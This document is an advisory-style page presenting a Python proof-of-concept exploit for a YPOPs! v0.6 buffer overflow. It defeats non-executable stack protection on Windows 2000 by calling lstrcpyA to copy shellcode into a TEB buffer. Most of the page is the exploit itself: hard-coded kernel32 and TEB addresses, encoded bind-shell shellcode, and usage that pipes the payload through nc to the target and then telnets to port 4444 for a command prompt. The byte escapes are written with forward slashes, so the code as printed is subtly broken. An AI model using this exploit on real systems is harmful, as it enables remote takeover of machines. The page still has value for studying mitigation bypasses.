Defeating Non Executable Stack Protection With TEB Buffer

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Defeating Non Executable Stack Protection With TEB Buffer

Summary
Below is an example of exploiting a TEB (Thread Execution Block) buffer and libc that can be used when exploiting a non-executable stack Win32 environment.

Details
The exploit code below is for an old vulnerability in YPOPS (as reported in: Remote Buffer overflow Vulnerability in YPOPs!).
The exploit examples a way to override stack execution protection. The EIP is overwritten with the address of the lstrcpyA function followed by the by the return address (in the TEB), the source and destination buffer addresses. The lstrcpyA copies the attacker supplied payload to the address to the TEB, following which the executions proceeds from there (since it is the return address that we supplied).

Exploit Code:
#!/usr/bin/env python
"""
Exploit for an old BoF in YPOPS v0.6 discovered by Behrang Fouldai
Coded as a PoC for defeating NoN-Exec stacks and stack protections
like overflow guard etc.
This exploit utilizes the 520 byte buffer in the TEB (i.e is used for ANSI to Unicode String operations). The EIP is overwritten with the address of lstrcpyA accompanied by the return address, the source and destination buffer addresses.
On successful EIP overwrite the lstrcpyA copies the attacker supplied payload to the address in the TEB, following which the executions proceeds from there (since it is the return addr that we supplied). Came across this useful concept in "The shell coders handbook".
Can be used for
1) Bypassing stack protections.
2) When none of the regs (ecx,ebx, eax, esp etc) point to our payload.

BUFFER LAYOUT

|payload | addr of lstrcpyA | addr of buff in TEB | addr of buff in TEB | addr of our payload |
ret addr for destination for Addr of our
execution Payload Payload

Tested on Win2K Adv Server with no patches and overflowguard. This is heavily dependent on the addresses which
must be modified according to the versions.
0x77E87E39 --> Address of lstrcpyA from kernel32.dll
0x7ffDE1BC --> Address in TEB buffer to which payload will be copied and execution commences
0x00E6FAB8 --> Address of Payload on stack

Shellcode from Sergio alvarez's paper on win32 exploitatiion (gr8 paper).

Coded by Varun Uppal (varunuppal@linuxmail.org)
greetz to JhaanGi, swatkat_razor, saTurn444 and metasploit crew. gr8 work

USAGE:

python pop_exp2.py | nc "addr of target host" "target port"

Telnet "addr of target host" 4444 for cmd prompt
"""

import struct

exp = "/xd9/xee/xd9/x74/x24/xf4/x5b/x31/xc9/xb1/x5e/x81/x73/x17/xe0/x66"
exp += "/x1c/xc2/x83/xeb/xfc/xe2/xf4/x1c/x8e/x4a/xc2/xe0/x66/x4f/x97/xb6"
exp += "/x31/x97/xae/xc4/x7e/x97/x87/xdc/xed/x48/xc7/x98/x67/xf6/x49/xaa"
exp += "/x7e/x97/x98/xc0/x67/xf7/x21/xd2/x2f/x97/xf6/x6b/x67/xf2/xf3/x1f"
exp += "/x9a/x2d/x02/x4c/x5e/xfc/xb6/xe7/xa7/xd3/xcf/xe1/xa1/xf7/x30/xdb"
exp += "/x1a/x38/xd6/x95/x87/x97/x98/xc4/x67/xf7/xa4/x6b/x6a/x57/x49/xba"
exp += "/x7a/x1d/x29/x6b/x62/x97/xc3/x08/x8d/x1e/xf3/x20/x39/x42/x9f/xbb"
exp += "/xa4/x14/xc2/xbe/x0c/x2c/x9b/x84/xed/x05/x49/xbb/x6a/x97/x99/xfc"
exp += "/xed/x07/x49/xbb/x6e/x4f/xaa/x6e/x28/x12/x2e/x1f/xb0/x95/x05/x61"
exp += "/x8a/x1c/xc3/xe0/x66/x4b/x94/xb3/xef/xf9/x2a/xc7/x66/x1c/xc2/x70"
exp += "/x67/x1c/xc2/x56/x7f/x04/x25/x44/x7f/x6c/x2b/x05/x2f/x9a/x8b/x44"
exp += "/x7c/x6c/x05/x44/xcb/x32/x2b/x39/x6f/xe9/x6f/x2b/x8b/xe0/xf9/xb7"
exp += "/x35/x2e/x9d/xd3/x54/x1c/x99/x6d/x2d/x3c/x93/x1f/xb1/x95/x1d/x69"
exp += "/xa5/x91/xb7/xf4/x0c/x1b/x9b/xb1/x35/xe3/xf6/x6f/x99/x49/xc6/xb9"
exp += "/xef/x18/x4c/x02/x94/x37/xe5/xb4/x99/x2b/x3d/xb5/x56/x2d/x02/xb0"
exp += "/x36/x4c/x92/xa0/x36/x5c/x92/x1f/x33/x30/x4b/x27/x57/xc7/x91/xb3"
exp += "/x0e/x1e/xc2/xf1/x3a/x95/x22/x8a/x76/x4c/x95/x1f/x33/x38/x91/xb7"
exp += "/x99/x49/xea/xb3/x32/x4b/x3d/xb5/x46/x95/x05/x88/x25/x51/x86/xe0"
exp += "/xef/xff/x45/x1a/x57/xdc/x4f/x9c/x42/xb0/xa8/xf5/x3f/xef/x69/x67"
exp += "/x9c/x9f/x2e/xb4/xa0/x58/xe6/xf0/x22/x7a/x05/xa4/x42/x20/xc3/xe1"
exp += "/xef/x60/xe6/xa8/xef/x60/xe6/xac/xef/x60/xe6/xb0/xeb/x58/xe6/xf0"
exp += "/x32/x4c/x93/xb1/x37/x5d/x93/xa9/x37/x4d/x91/xb1/x99/x69/xc2/x88"
exp += "/x14/xe2/x71/xf6/x99/x49/xc6/x1f/xb6/x95/x24/x1f/x13/x1c/xaa/x4d"
exp += "/xbf/x19/x0c/x1f/x33/x18/x4b/x23/x0c/xe3/x3d/xd6/x99/xcf/x3d/x95"
exp += "/x66/x74/x32/x6a/x62/x43/x3d/xb5/x62/x2d/x19/xb3/x99/xcc/xc2"

print '/x90'*10+exp+'/x90'*96+ struct.pack('<L', 0x77e87e39)+struct.pack('<L', 0x7ffde1bc)+struct.pack('<L', 0x7ffde1bc)+'/xb8'+'/xfa'+'/xe6'+'/x00'